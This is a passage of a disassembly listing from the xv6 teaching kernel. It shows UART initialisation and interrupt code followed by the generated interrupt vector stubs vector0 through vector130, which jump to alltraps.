$0x1,0x8010a5bc 801058b7: 00 00 00 801058ba: 89 fa mov %edi,%edx 801058bc: ec in (%dx),%al 801058bd: b2 f8 mov $0xf8,%dl 801058bf: ec in (%dx),%al ioapicenable(IRQ_COM1, 0); 801058c0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801058c7: 00 for(p="xv6...\n"; *p; p++) 801058c8: bb 24 77 10 80 mov $0x80107724,%ebx ioapicenable(IRQ_COM1, 0); 801058cd: c7 04 24 04 00 00 00 movl $0x4,(%esp) 801058d4: e8 b7 c9 ff ff call 80102290 <ioapicenable> for(p="xv6...\n"; *p; p++) 801058d9: b8 78 00 00 00 mov $0x78,%eax 801058de: 66 90 xchg %ax,%ax uartputc(*p); 801058e0: 89 04 24 mov %eax,(%esp) for(p="xv6...\n"; *p; p++) 801058e3: 83 c3 01 add $0x1,%ebx uartputc(*p); 801058e6: e8 25 ff ff ff call 80105810 <uartputc> for(p="xv6...\n"; *p; p++) 801058eb: 0f be 03 movsbl (%ebx),%eax 801058ee: 84 c0 test %al,%al 801058f0: 75 ee jne 801058e0 <uartinit+0x80> } 801058f2: 83 c4 1c add $0x1c,%esp 801058f5: 5b pop %ebx 801058f6: 5e pop %esi 801058f7: 5f pop %edi 801058f8: 5d pop %ebp 801058f9: c3 ret 801058fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105900 <uartintr>: void uartintr(void) { 80105900: 55 push %ebp 80105901: 89 e5 mov %esp,%ebp 80105903: 83 ec 18 sub $0x18,%esp consoleintr(uartgetc); 80105906: c7 04 24 e0 57 10 80 movl $0x801057e0,(%esp) 8010590d: e8 9e ae ff ff call 801007b0 <consoleintr> } 80105912: c9 leave 80105913: c3 ret 80105914 <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 80105914: 6a 00 push $0x0 pushl $0 80105916: 6a 00 push $0x0 jmp alltraps 80105918: e9 e0 fa ff ff jmp 801053fd <alltraps> 8010591d <vector1>: .globl vector1 vector1: pushl $0 8010591d: 6a 00 push $0x0 pushl $1 8010591f: 6a 01 push $0x1 jmp alltraps 80105921: e9 d7 fa ff ff jmp 801053fd <alltraps> 80105926 <vector2>: .globl vector2 vector2: pushl $0 80105926: 6a 00 push $0x0 pushl $2 80105928: 6a 02 push $0x2 jmp alltraps 8010592a: e9 ce fa ff ff jmp 801053fd <alltraps> 8010592f <vector3>: .globl vector3 vector3: pushl $0 8010592f: 6a 00 push $0x0 pushl $3 80105931: 6a 03 push $0x3 jmp alltraps 80105933: e9 c5 fa ff ff jmp 801053fd <alltraps> 80105938 <vector4>: .globl vector4 vector4: pushl $0 80105938: 6a 00 push $0x0 pushl $4 8010593a: 6a 04 push $0x4 jmp alltraps 8010593c: e9 bc fa ff ff jmp 801053fd <alltraps> 80105941 <vector5>: .globl vector5 vector5: pushl $0 80105941: 6a 00 push $0x0 pushl $5 80105943: 6a 05 push $0x5 jmp alltraps 80105945: e9 b3 fa ff ff jmp 801053fd <alltraps> 8010594a <vector6>: .globl vector6 vector6: pushl $0 8010594a: 6a 00 push $0x0 pushl $6 8010594c: 6a 06 push $0x6 jmp alltraps 8010594e: e9 aa fa ff ff jmp 801053fd <alltraps> 80105953 <vector7>: .globl vector7 vector7: pushl $0 80105953: 6a 00 push $0x0 pushl $7 80105955: 6a 07 push $0x7 jmp alltraps 80105957: e9 a1 fa ff ff jmp 801053fd <alltraps> 8010595c <vector8>: .globl vector8 vector8: pushl $8 8010595c: 6a 08 push $0x8 jmp alltraps 8010595e: e9 9a fa ff ff jmp 801053fd <alltraps> 80105963 <vector9>: .globl vector9 vector9: pushl $0 80105963: 6a 00 push $0x0 pushl $9 80105965: 6a 09 push $0x9 jmp alltraps 80105967: e9 91 fa ff ff jmp 801053fd <alltraps> 8010596c <vector10>: .globl vector10 vector10: pushl $10 8010596c: 6a 0a push $0xa jmp alltraps 8010596e: e9 8a fa ff ff jmp 801053fd <alltraps> 80105973 <vector11>: .globl vector11 vector11: pushl $11 80105973: 6a 0b push $0xb jmp alltraps 80105975: e9 83 fa ff ff jmp 801053fd <alltraps> 8010597a <vector12>: .globl vector12 vector12: pushl $12 8010597a: 6a 0c push $0xc jmp alltraps 8010597c: e9 7c fa ff ff jmp 801053fd <alltraps> 80105981 <vector13>: .globl vector13 vector13: pushl $13 80105981: 6a 0d push $0xd jmp alltraps 80105983: e9 75 fa ff ff jmp 801053fd <alltraps> 80105988 <vector14>: .globl vector14 vector14: pushl $14 80105988: 6a 0e push $0xe jmp alltraps 8010598a: e9 6e fa ff ff jmp 801053fd <alltraps> 8010598f <vector15>: .globl vector15 vector15: pushl $0 8010598f: 6a 00 push $0x0 pushl $15 80105991: 6a 0f push $0xf jmp alltraps 80105993: e9 65 fa ff ff jmp 801053fd <alltraps> 80105998 <vector16>: .globl vector16 vector16: pushl $0 80105998: 6a 00 push $0x0 pushl $16 8010599a: 6a 10 push $0x10 jmp alltraps 8010599c: e9 5c fa ff ff jmp 801053fd <alltraps> 801059a1 <vector17>: .globl vector17 vector17: pushl $17 801059a1: 6a 11 push $0x11 jmp alltraps 801059a3: e9 55 fa ff ff jmp 801053fd <alltraps> 801059a8 <vector18>: .globl vector18 vector18: pushl $0 801059a8: 6a 00 push $0x0 pushl $18 801059aa: 6a 12 push $0x12 jmp alltraps 801059ac: e9 4c fa ff ff jmp 801053fd <alltraps> 801059b1 <vector19>: .globl vector19 vector19: pushl $0 801059b1: 6a 00 push $0x0 pushl $19 801059b3: 6a 13 push $0x13 jmp alltraps 801059b5: e9 43 fa ff ff jmp 801053fd <alltraps> 801059ba <vector20>: .globl vector20 vector20: pushl $0 801059ba: 6a 00 push $0x0 pushl $20 801059bc: 6a 14 push $0x14 jmp alltraps 801059be: e9 3a fa ff ff jmp 801053fd <alltraps> 801059c3 <vector21>: .globl vector21 vector21: pushl $0 801059c3: 6a 00 push $0x0 pushl $21 801059c5: 6a 15 push $0x15 jmp alltraps 801059c7: e9 31 fa ff ff jmp 801053fd <alltraps> 801059cc <vector22>: .globl vector22 vector22: pushl $0 801059cc: 6a 00 push $0x0 pushl $22 801059ce: 6a 16 push $0x16 jmp alltraps 801059d0: e9 28 fa ff ff jmp 801053fd <alltraps> 801059d5 <vector23>: .globl vector23 vector23: pushl $0 801059d5: 6a 00 push $0x0 pushl $23 801059d7: 6a 17 push $0x17 jmp alltraps 801059d9: e9 1f fa ff ff jmp 801053fd <alltraps> 801059de <vector24>: .globl vector24 vector24: pushl $0 801059de: 6a 00 push $0x0 pushl $24 801059e0: 6a 18 push $0x18 jmp alltraps 801059e2: e9 16 fa ff ff jmp 801053fd <alltraps> 801059e7 <vector25>: .globl vector25 vector25: pushl $0 801059e7: 6a 00 push $0x0 pushl $25 801059e9: 6a 19 push $0x19 jmp alltraps 801059eb: e9 0d fa ff ff jmp 801053fd <alltraps> 801059f0 <vector26>: .globl vector26 vector26: pushl $0 801059f0: 6a 00 push $0x0 pushl $26 801059f2: 6a 1a push $0x1a jmp alltraps 801059f4: e9 04 fa ff ff jmp 801053fd <alltraps> 801059f9 <vector27>: .globl vector27 vector27: pushl $0 801059f9: 6a 00 push $0x0 pushl $27 801059fb: 6a 1b push $0x1b jmp alltraps 801059fd: e9 fb f9 ff ff jmp 801053fd <alltraps> 80105a02 <vector28>: .globl vector28 vector28: pushl $0 80105a02: 6a 00 push $0x0 pushl $28 80105a04: 6a 1c push $0x1c jmp alltraps 80105a06: e9 f2 f9 ff ff jmp 801053fd <alltraps> 80105a0b <vector29>: .globl vector29 vector29: pushl $0 80105a0b: 6a 00 push $0x0 pushl $29 80105a0d: 6a 1d push $0x1d jmp alltraps 80105a0f: e9 e9 f9 ff ff jmp 801053fd <alltraps> 80105a14 <vector30>: .globl vector30 vector30: pushl $0 80105a14: 6a 00 push $0x0 pushl $30 80105a16: 6a 1e push $0x1e jmp alltraps 80105a18: e9 e0 f9 ff ff jmp 801053fd <alltraps> 80105a1d <vector31>: .globl vector31 vector31: pushl $0 80105a1d: 6a 00 push $0x0 pushl $31 80105a1f: 6a 1f push $0x1f jmp alltraps 80105a21: e9 d7 f9 ff ff jmp 801053fd <alltraps> 80105a26 <vector32>: .globl vector32 vector32: pushl $0 80105a26: 6a 00 push $0x0 pushl $32 80105a28: 6a 20 push $0x20 jmp alltraps 80105a2a: e9 ce f9 ff ff jmp 801053fd <alltraps> 80105a2f <vector33>: .globl vector33 vector33: pushl $0 80105a2f: 6a 00 push $0x0 pushl $33 80105a31: 6a 21 push $0x21 jmp alltraps 80105a33: e9 c5 f9 ff ff jmp 801053fd <alltraps> 80105a38 <vector34>: .globl vector34 vector34: pushl $0 80105a38: 6a 00 push $0x0 pushl $34 80105a3a: 6a 22 push $0x22 jmp alltraps 80105a3c: e9 bc f9 ff ff jmp 801053fd <alltraps> 80105a41 <vector35>: .globl vector35 vector35: pushl $0 80105a41: 6a 00 push $0x0 pushl $35 80105a43: 6a 23 push $0x23 jmp alltraps 80105a45: e9 b3 f9 ff ff jmp 801053fd <alltraps> 80105a4a <vector36>: .globl vector36 vector36: pushl $0 80105a4a: 6a 00 push $0x0 pushl $36 80105a4c: 6a 24 push $0x24 jmp alltraps 80105a4e: e9 aa f9 ff ff jmp 801053fd <alltraps> 80105a53 <vector37>: .globl vector37 vector37: pushl $0 80105a53: 6a 00 push $0x0 pushl $37 80105a55: 6a 25 push $0x25 jmp alltraps 80105a57: e9 a1 f9 ff ff jmp 801053fd <alltraps> 80105a5c <vector38>: .globl vector38 vector38: pushl $0 80105a5c: 6a 00 push $0x0 pushl $38 80105a5e: 6a 26 push $0x26 jmp alltraps 80105a60: e9 98 f9 ff ff jmp 801053fd <alltraps> 80105a65 <vector39>: .globl vector39 vector39: pushl $0 80105a65: 6a 00 push $0x0 pushl $39 80105a67: 6a 27 push $0x27 jmp alltraps 80105a69: e9 8f f9 ff ff jmp 801053fd <alltraps> 80105a6e <vector40>: .globl vector40 vector40: pushl $0 80105a6e: 6a 00 push $0x0 pushl $40 80105a70: 6a 28 push $0x28 jmp alltraps 80105a72: e9 86 f9 ff ff jmp 801053fd <alltraps> 80105a77 <vector41>: .globl vector41 vector41: pushl $0 80105a77: 6a 00 push $0x0 pushl $41 80105a79: 6a 29 push $0x29 jmp alltraps 80105a7b: e9 7d f9 ff ff jmp 801053fd <alltraps> 80105a80 <vector42>: .globl vector42 vector42: pushl $0 80105a80: 6a 00 push $0x0 pushl $42 80105a82: 6a 2a push $0x2a jmp alltraps 80105a84: e9 74 f9 ff ff jmp 801053fd <alltraps> 80105a89 <vector43>: .globl vector43 vector43: pushl $0 80105a89: 6a 00 push $0x0 pushl $43 80105a8b: 6a 2b push $0x2b jmp alltraps 80105a8d: e9 6b f9 ff ff jmp 801053fd <alltraps> 80105a92 <vector44>: .globl vector44 vector44: pushl $0 80105a92: 6a 00 push $0x0 pushl $44 80105a94: 6a 2c push $0x2c jmp alltraps 80105a96: e9 62 f9 ff ff jmp 801053fd <alltraps> 80105a9b <vector45>: .globl vector45 vector45: pushl $0 80105a9b: 6a 00 push $0x0 pushl $45 80105a9d: 6a 2d push $0x2d jmp alltraps 80105a9f: e9 59 f9 ff ff jmp 801053fd <alltraps> 80105aa4 <vector46>: .globl vector46 vector46: pushl $0 80105aa4: 6a 00 push $0x0 pushl $46 80105aa6: 6a 2e push $0x2e jmp alltraps 80105aa8: e9 50 f9 ff ff jmp 801053fd <alltraps> 80105aad <vector47>: .globl vector47 vector47: pushl $0 80105aad: 6a 00 push $0x0 pushl $47 80105aaf: 6a 2f push $0x2f jmp alltraps 80105ab1: e9 47 f9 ff ff jmp 801053fd <alltraps> 80105ab6 <vector48>: .globl vector48 vector48: pushl $0 80105ab6: 6a 00 push $0x0 pushl $48 80105ab8: 6a 30 push $0x30 jmp alltraps 80105aba: e9 3e f9 ff ff jmp 801053fd <alltraps> 80105abf <vector49>: .globl vector49 vector49: pushl $0 80105abf: 6a 00 push $0x0 pushl $49 80105ac1: 6a 31 push $0x31 jmp alltraps 80105ac3: e9 35 f9 ff ff jmp 801053fd <alltraps> 80105ac8 <vector50>: .globl vector50 vector50: pushl $0 80105ac8: 6a 00 push $0x0 pushl $50 80105aca: 6a 32 push $0x32 jmp alltraps 80105acc: e9 2c f9 ff ff jmp 801053fd <alltraps> 80105ad1 <vector51>: .globl vector51 vector51: pushl $0 80105ad1: 6a 00 push $0x0 pushl $51 80105ad3: 6a 33 push $0x33 jmp alltraps 80105ad5: e9 23 f9 ff ff jmp 801053fd <alltraps> 80105ada <vector52>: .globl vector52 vector52: pushl $0 80105ada: 6a 00 push $0x0 pushl $52 80105adc: 6a 34 push $0x34 jmp alltraps 80105ade: e9 1a f9 ff ff jmp 801053fd <alltraps> 80105ae3 <vector53>: .globl vector53 vector53: pushl $0 80105ae3: 6a 00 push $0x0 pushl $53 80105ae5: 6a 35 push $0x35 jmp alltraps 80105ae7: e9 11 f9 ff ff jmp 801053fd <alltraps> 80105aec <vector54>: .globl vector54 vector54: pushl $0 80105aec: 6a 00 push $0x0 pushl $54 80105aee: 6a 36 push $0x36 jmp alltraps 80105af0: e9 08 f9 ff ff jmp 801053fd <alltraps> 80105af5 <vector55>: .globl vector55 vector55: pushl $0 80105af5: 6a 00 push $0x0 pushl $55 80105af7: 6a 37 push $0x37 jmp alltraps 80105af9: e9 ff f8 ff ff jmp 801053fd <alltraps> 80105afe <vector56>: .globl vector56 vector56: pushl $0 80105afe: 6a 00 push $0x0 pushl $56 80105b00: 6a 38 push $0x38 jmp alltraps 80105b02: e9 f6 f8 ff ff jmp 801053fd <alltraps> 80105b07 <vector57>: .globl vector57 vector57: pushl $0 80105b07: 6a 00 push $0x0 pushl $57 80105b09: 6a 39 push $0x39 jmp alltraps 80105b0b: e9 ed f8 ff ff jmp 801053fd <alltraps> 80105b10 <vector58>: .globl vector58 vector58: pushl $0 80105b10: 6a 00 push $0x0 pushl $58 80105b12: 6a 3a push $0x3a jmp alltraps 80105b14: e9 e4 f8 ff ff jmp 801053fd <alltraps> 80105b19 <vector59>: .globl vector59 vector59: pushl $0 80105b19: 6a 00 push $0x0 pushl $59 80105b1b: 6a 3b push $0x3b jmp alltraps 80105b1d: e9 db f8 ff ff jmp 801053fd <alltraps> 80105b22 <vector60>: .globl vector60 vector60: pushl $0 80105b22: 6a 00 push $0x0 pushl $60 80105b24: 6a 3c push $0x3c jmp alltraps 80105b26: e9 d2 f8 ff ff jmp 801053fd <alltraps> 80105b2b <vector61>: .globl vector61 vector61: pushl $0 80105b2b: 6a 00 push $0x0 pushl $61 80105b2d: 6a 3d push $0x3d jmp alltraps 80105b2f: e9 c9 f8 ff ff jmp 801053fd <alltraps> 80105b34 <vector62>: .globl vector62 vector62: pushl $0 80105b34: 6a 00 push $0x0 pushl $62 80105b36: 6a 3e push $0x3e jmp alltraps 80105b38: e9 c0 f8 ff ff jmp 801053fd <alltraps> 80105b3d <vector63>: .globl vector63 vector63: pushl $0 80105b3d: 6a 00 push $0x0 pushl $63 80105b3f: 6a 3f push $0x3f jmp alltraps 80105b41: e9 b7 f8 ff ff jmp 801053fd <alltraps> 80105b46 <vector64>: .globl vector64 vector64: pushl $0 80105b46: 6a 00 push $0x0 pushl $64 80105b48: 6a 40 push $0x40 jmp alltraps 80105b4a: e9 ae f8 ff ff jmp 801053fd <alltraps> 80105b4f <vector65>: .globl vector65 vector65: pushl $0 80105b4f: 6a 00 push $0x0 pushl $65 80105b51: 6a 41 push $0x41 jmp alltraps 80105b53: e9 a5 f8 ff ff jmp 801053fd <alltraps> 80105b58 <vector66>: .globl vector66 vector66: pushl $0 80105b58: 6a 00 push $0x0 pushl $66 80105b5a: 6a 42 push $0x42 jmp alltraps 80105b5c: e9 9c f8 ff ff jmp 801053fd <alltraps> 80105b61 <vector67>: .globl vector67 vector67: pushl $0 80105b61: 6a 00 push $0x0 pushl $67 80105b63: 6a 43 push $0x43 jmp alltraps 80105b65: e9 93 f8 ff ff jmp 801053fd <alltraps> 80105b6a <vector68>: .globl vector68 vector68: pushl $0 80105b6a: 6a 00 push $0x0 pushl $68 80105b6c: 6a 44 push $0x44 jmp alltraps 80105b6e: e9 8a f8 ff ff jmp 801053fd <alltraps> 80105b73 <vector69>: .globl vector69 vector69: pushl $0 80105b73: 6a 00 push $0x0 pushl $69 80105b75: 6a 45 push $0x45 jmp alltraps 80105b77: e9 81 f8 ff ff jmp 801053fd <alltraps> 80105b7c <vector70>: .globl vector70 vector70: pushl $0 80105b7c: 6a 00 push $0x0 pushl $70 80105b7e: 6a 46 push $0x46 jmp alltraps 80105b80: e9 78 f8 ff ff jmp 801053fd <alltraps> 80105b85 <vector71>: .globl vector71 vector71: pushl $0 80105b85: 6a 00 push $0x0 pushl $71 80105b87: 6a 47 push $0x47 jmp alltraps 80105b89: e9 6f f8 ff ff jmp 801053fd <alltraps> 80105b8e <vector72>: .globl vector72 vector72: pushl $0 80105b8e: 6a 00 push $0x0 pushl $72 80105b90: 6a 48 push $0x48 jmp alltraps 80105b92: e9 66 f8 ff ff jmp 801053fd <alltraps> 80105b97 <vector73>: .globl vector73 vector73: pushl $0 80105b97: 6a 00 push $0x0 pushl $73 80105b99: 6a 49 push $0x49 jmp alltraps 80105b9b: e9 5d f8 ff ff jmp 801053fd <alltraps> 80105ba0 <vector74>: .globl vector74 vector74: pushl $0 80105ba0: 6a 00 push $0x0 pushl $74 80105ba2: 6a 4a push $0x4a jmp alltraps 80105ba4: e9 54 f8 ff ff jmp 801053fd <alltraps> 80105ba9 <vector75>: .globl vector75 vector75: pushl $0 80105ba9: 6a 00 push $0x0 pushl $75 80105bab: 6a 4b push $0x4b jmp alltraps 80105bad: e9 4b f8 ff ff jmp 801053fd <alltraps> 80105bb2 <vector76>: .globl vector76 vector76: pushl $0 80105bb2: 6a 00 push $0x0 pushl $76 80105bb4: 6a 4c push $0x4c jmp alltraps 80105bb6: e9 42 f8 ff ff jmp 801053fd <alltraps> 80105bbb <vector77>: .globl vector77 vector77: pushl $0 80105bbb: 6a 00 push $0x0 pushl $77 80105bbd: 6a 4d push $0x4d jmp alltraps 80105bbf: e9 39 f8 ff ff jmp 801053fd <alltraps> 80105bc4 <vector78>: .globl vector78 vector78: pushl $0 80105bc4: 6a 00 push $0x0 pushl $78 80105bc6: 6a 4e push $0x4e jmp alltraps 80105bc8: e9 30 f8 ff ff jmp 801053fd <alltraps> 80105bcd <vector79>: .globl vector79 vector79: pushl $0 80105bcd: 6a 00 push $0x0 pushl $79 80105bcf: 6a 4f push $0x4f jmp alltraps 80105bd1: e9 27 f8 ff ff jmp 801053fd <alltraps> 80105bd6 <vector80>: .globl vector80 vector80: pushl $0 80105bd6: 6a 00 push $0x0 pushl $80 80105bd8: 6a 50 push $0x50 jmp alltraps 80105bda: e9 1e f8 ff ff jmp 801053fd <alltraps> 80105bdf <vector81>: .globl vector81 vector81: pushl $0 80105bdf: 6a 00 push $0x0 pushl $81 80105be1: 6a 51 push $0x51 jmp alltraps 80105be3: e9 15 f8 ff ff jmp 801053fd <alltraps> 80105be8 <vector82>: .globl vector82 vector82: pushl $0 80105be8: 6a 00 push $0x0 pushl $82 80105bea: 6a 52 push $0x52 jmp alltraps 80105bec: e9 0c f8 ff ff jmp 801053fd <alltraps> 80105bf1 <vector83>: .globl vector83 vector83: pushl $0 80105bf1: 6a 00 push $0x0 pushl $83 80105bf3: 6a 53 push $0x53 jmp alltraps 80105bf5: e9 03 f8 ff ff jmp 801053fd <alltraps> 80105bfa <vector84>: .globl vector84 vector84: pushl $0 80105bfa: 6a 00 push $0x0 pushl $84 80105bfc: 6a 54 push $0x54 jmp alltraps 80105bfe: e9 fa f7 ff ff jmp 801053fd <alltraps> 80105c03 <vector85>: .globl vector85 vector85: pushl $0 80105c03: 6a 00 push $0x0 pushl $85 80105c05: 6a 55 push $0x55 jmp alltraps 80105c07: e9 f1 f7 ff ff jmp 801053fd <alltraps> 80105c0c <vector86>: .globl vector86 vector86: pushl $0 80105c0c: 6a 00 push $0x0 pushl $86 80105c0e: 6a 56 push $0x56 jmp alltraps 80105c10: e9 e8 f7 ff ff jmp 801053fd <alltraps> 80105c15 <vector87>: .globl vector87 vector87: pushl $0 80105c15: 6a 00 push $0x0 pushl $87 80105c17: 6a 57 push $0x57 jmp alltraps 80105c19: e9 df f7 ff ff jmp 801053fd <alltraps> 80105c1e <vector88>: .globl vector88 vector88: pushl $0 80105c1e: 6a 00 push $0x0 pushl $88 80105c20: 6a 58 push $0x58 jmp alltraps 80105c22: e9 d6 f7 ff ff jmp 801053fd <alltraps> 80105c27 <vector89>: .globl vector89 vector89: pushl $0 80105c27: 6a 00 push $0x0 pushl $89 80105c29: 6a 59 push $0x59 jmp alltraps 80105c2b: e9 cd f7 ff ff jmp 801053fd <alltraps> 80105c30 <vector90>: .globl vector90 vector90: pushl $0 80105c30: 6a 00 push $0x0 pushl $90 80105c32: 6a 5a push $0x5a jmp alltraps 80105c34: e9 c4 f7 ff ff jmp 801053fd <alltraps> 80105c39 <vector91>: .globl vector91 vector91: pushl $0 80105c39: 6a 00 push $0x0 pushl $91 80105c3b: 6a 5b push $0x5b jmp alltraps 80105c3d: e9 bb f7 ff ff jmp 801053fd <alltraps> 80105c42 <vector92>: .globl vector92 vector92: pushl $0 80105c42: 6a 00 push $0x0 pushl $92 80105c44: 6a 5c push $0x5c jmp alltraps 80105c46: e9 b2 f7 ff ff jmp 801053fd <alltraps> 80105c4b <vector93>: .globl vector93 vector93: pushl $0 80105c4b: 6a 00 push $0x0 pushl $93 80105c4d: 6a 5d push $0x5d jmp alltraps 80105c4f: e9 a9 f7 ff ff jmp 801053fd <alltraps> 80105c54 <vector94>: .globl vector94 vector94: pushl $0 80105c54: 6a 00 push $0x0 pushl $94 80105c56: 6a 5e push $0x5e jmp alltraps 80105c58: e9 a0 f7 ff ff jmp 801053fd <alltraps> 80105c5d <vector95>: .globl vector95 vector95: pushl $0 80105c5d: 6a 00 push $0x0 pushl $95 80105c5f: 6a 5f push $0x5f jmp alltraps 80105c61: e9 97 f7 ff ff jmp 801053fd <alltraps> 80105c66 <vector96>: .globl vector96 vector96: pushl $0 80105c66: 6a 00 push $0x0 pushl $96 80105c68: 6a 60 push $0x60 jmp alltraps 80105c6a: e9 8e f7 ff ff jmp 801053fd <alltraps> 80105c6f <vector97>: .globl vector97 vector97: pushl $0 80105c6f: 6a 00 push $0x0 pushl $97 80105c71: 6a 61 push $0x61 jmp alltraps 80105c73: e9 85 f7 ff ff jmp 801053fd <alltraps> 80105c78 <vector98>: .globl vector98 vector98: pushl $0 80105c78: 6a 00 push $0x0 pushl $98 80105c7a: 6a 62 push $0x62 jmp alltraps 80105c7c: e9 7c f7 ff ff jmp 801053fd <alltraps> 80105c81 <vector99>: .globl vector99 vector99: pushl $0 80105c81: 6a 00 push $0x0 pushl $99 80105c83: 6a 63 push $0x63 jmp alltraps 80105c85: e9 73 f7 ff ff jmp 801053fd <alltraps> 80105c8a <vector100>: .globl vector100 vector100: pushl $0 80105c8a: 6a 00 push $0x0 pushl $100 80105c8c: 6a 64 push $0x64 jmp alltraps 80105c8e: e9 6a f7 ff ff jmp 801053fd <alltraps> 80105c93 <vector101>: .globl vector101 vector101: pushl $0 80105c93: 6a 00 push $0x0 pushl $101 80105c95: 6a 65 push $0x65 jmp alltraps 80105c97: e9 61 f7 ff ff jmp 801053fd <alltraps> 80105c9c <vector102>: .globl vector102 vector102: pushl $0 80105c9c: 6a 00 push $0x0 pushl $102 80105c9e: 6a 66 push $0x66 jmp alltraps 80105ca0: e9 58 f7 ff ff jmp 801053fd <alltraps> 80105ca5 <vector103>: .globl vector103 vector103: pushl $0 80105ca5: 6a 00 push $0x0 pushl $103 80105ca7: 6a 67 push $0x67 jmp alltraps 80105ca9: e9 4f f7 ff ff jmp 801053fd <alltraps> 80105cae <vector104>: .globl vector104 vector104: pushl $0 80105cae: 6a 00 push $0x0 pushl $104 80105cb0: 6a 68 push $0x68 jmp alltraps 80105cb2: e9 46 f7 ff ff jmp 801053fd <alltraps> 80105cb7 <vector105>: .globl vector105 vector105: pushl $0 80105cb7: 6a 00 push $0x0 pushl $105 80105cb9: 6a 69 push $0x69 jmp alltraps 80105cbb: e9 3d f7 ff ff jmp 801053fd <alltraps> 80105cc0 <vector106>: .globl vector106 vector106: pushl $0 80105cc0: 6a 00 push $0x0 pushl $106 80105cc2: 6a 6a push $0x6a jmp alltraps 80105cc4: e9 34 f7 ff ff jmp 801053fd <alltraps> 80105cc9 <vector107>: .globl vector107 vector107: pushl $0 80105cc9: 6a 00 push $0x0 pushl $107 80105ccb: 6a 6b push $0x6b jmp alltraps 80105ccd: e9 2b f7 ff ff jmp 801053fd <alltraps> 80105cd2 <vector108>: .globl vector108 vector108: pushl $0 80105cd2: 6a 00 push $0x0 pushl $108 80105cd4: 6a 6c push $0x6c jmp alltraps 80105cd6: e9 22 f7 ff ff jmp 801053fd <alltraps> 80105cdb <vector109>: .globl vector109 vector109: pushl $0 80105cdb: 6a 00 push $0x0 pushl $109 80105cdd: 6a 6d push $0x6d jmp alltraps 80105cdf: e9 19 f7 ff ff jmp 801053fd <alltraps> 80105ce4 <vector110>: .globl vector110 vector110: pushl $0 80105ce4: 6a 00 push $0x0 pushl $110 80105ce6: 6a 6e push $0x6e jmp alltraps 80105ce8: e9 10 f7 ff ff jmp 801053fd <alltraps> 80105ced <vector111>: .globl vector111 vector111: pushl $0 80105ced: 6a 00 push $0x0 pushl $111 80105cef: 6a 6f push $0x6f jmp alltraps 80105cf1: e9 07 f7 ff ff jmp 801053fd <alltraps> 80105cf6 <vector112>: .globl vector112 vector112: pushl $0 80105cf6: 6a 00 push $0x0 pushl $112 80105cf8: 6a 70 push $0x70 jmp alltraps 80105cfa: e9 fe f6 ff ff jmp 801053fd <alltraps> 80105cff <vector113>: .globl vector113 vector113: pushl $0 80105cff: 6a 00 push $0x0 pushl $113 80105d01: 6a 71 push $0x71 jmp alltraps 80105d03: e9 f5 f6 ff ff jmp 801053fd <alltraps> 80105d08 <vector114>: .globl vector114 vector114: pushl $0 80105d08: 6a 00 push $0x0 pushl $114 80105d0a: 6a 72 push $0x72 jmp alltraps 80105d0c: e9 ec f6 ff ff jmp 801053fd <alltraps> 80105d11 <vector115>: .globl vector115 vector115: pushl $0 80105d11: 6a 00 push $0x0 pushl $115 80105d13: 6a 73 push $0x73 jmp alltraps 80105d15: e9 e3 f6 ff ff jmp 801053fd <alltraps> 80105d1a <vector116>: .globl vector116 vector116: pushl $0 80105d1a: 6a 00 push $0x0 pushl $116 80105d1c: 6a 74 push $0x74 jmp alltraps 80105d1e: e9 da f6 ff ff jmp 801053fd <alltraps> 80105d23 <vector117>: .globl vector117 vector117: pushl $0 80105d23: 6a 00 push $0x0 pushl $117 80105d25: 6a 75 push $0x75 jmp alltraps 80105d27: e9 d1 f6 ff ff jmp 801053fd <alltraps> 80105d2c <vector118>: .globl vector118 vector118: pushl $0 80105d2c: 6a 00 push $0x0 pushl $118 80105d2e: 6a 76 push $0x76 jmp alltraps 80105d30: e9 c8 f6 ff ff jmp 801053fd <alltraps> 80105d35 <vector119>: .globl vector119 vector119: pushl $0 80105d35: 6a 00 push $0x0 pushl $119 80105d37: 6a 77 push $0x77 jmp alltraps 80105d39: e9 bf f6 ff ff jmp 801053fd <alltraps> 80105d3e <vector120>: .globl vector120 vector120: pushl $0 80105d3e: 6a 00 push $0x0 pushl $120 80105d40: 6a 78 push $0x78 jmp alltraps 80105d42: e9 b6 f6 ff ff jmp 801053fd <alltraps> 80105d47 <vector121>: .globl vector121 vector121: pushl $0 80105d47: 6a 00 push $0x0 pushl $121 80105d49: 6a 79 push $0x79 jmp alltraps 80105d4b: e9 ad f6 ff ff jmp 801053fd <alltraps> 80105d50 <vector122>: .globl vector122 vector122: pushl $0 80105d50: 6a 00 push $0x0 pushl $122 80105d52: 6a 7a push $0x7a jmp alltraps 80105d54: e9 a4 f6 ff ff jmp 801053fd <alltraps> 80105d59 <vector123>: .globl vector123 vector123: pushl $0 80105d59: 6a 00 push $0x0 pushl $123 80105d5b: 6a 7b push $0x7b jmp alltraps 80105d5d: e9 9b f6 ff ff jmp 801053fd <alltraps> 80105d62 <vector124>: .globl vector124 vector124: pushl $0 80105d62: 6a 00 push $0x0 pushl $124 80105d64: 6a 7c push $0x7c jmp alltraps 80105d66: e9 92 f6 ff ff jmp 801053fd <alltraps> 80105d6b <vector125>: .globl vector125 vector125: pushl $0 80105d6b: 6a 00 push $0x0 pushl $125 80105d6d: 6a 7d push $0x7d jmp alltraps 80105d6f: e9 89 f6 ff ff jmp 801053fd <alltraps> 80105d74 <vector126>: .globl vector126 vector126: pushl $0 80105d74: 6a 00 push $0x0 pushl $126 80105d76: 6a 7e push $0x7e jmp alltraps 80105d78: e9 80 f6 ff ff jmp 801053fd <alltraps> 80105d7d <vector127>: .globl vector127 vector127: pushl $0 80105d7d: 6a 00 push $0x0 pushl $127 80105d7f: 6a 7f push $0x7f jmp alltraps 80105d81: e9 77 f6 ff ff jmp 801053fd <alltraps> 80105d86 <vector128>: .globl vector128 vector128: pushl $0 80105d86: 6a 00 push $0x0 pushl $128 80105d88: 68 80 00 00 00 push $0x80 jmp alltraps 80105d8d: e9 6b f6 ff ff jmp 801053fd <alltraps> 80105d92 <vector129>: .globl vector129 vector129: pushl $0 80105d92: 6a 00 push $0x0 pushl $129 80105d94: 68 81 00 00 00 push $0x81 jmp alltraps 80105d99: e9 5f f6 ff ff jmp 801053fd <alltraps> 80105d9e <vector130>: .globl vector130 vector130: pushl $0 80105d9e: 6a 00 push $0x0 pushl $130 80105da0: 68 82 00 00 00 push $0x82 jmp alltraps 80105da5: e9 53 f6 ff ff jmp 801053fd 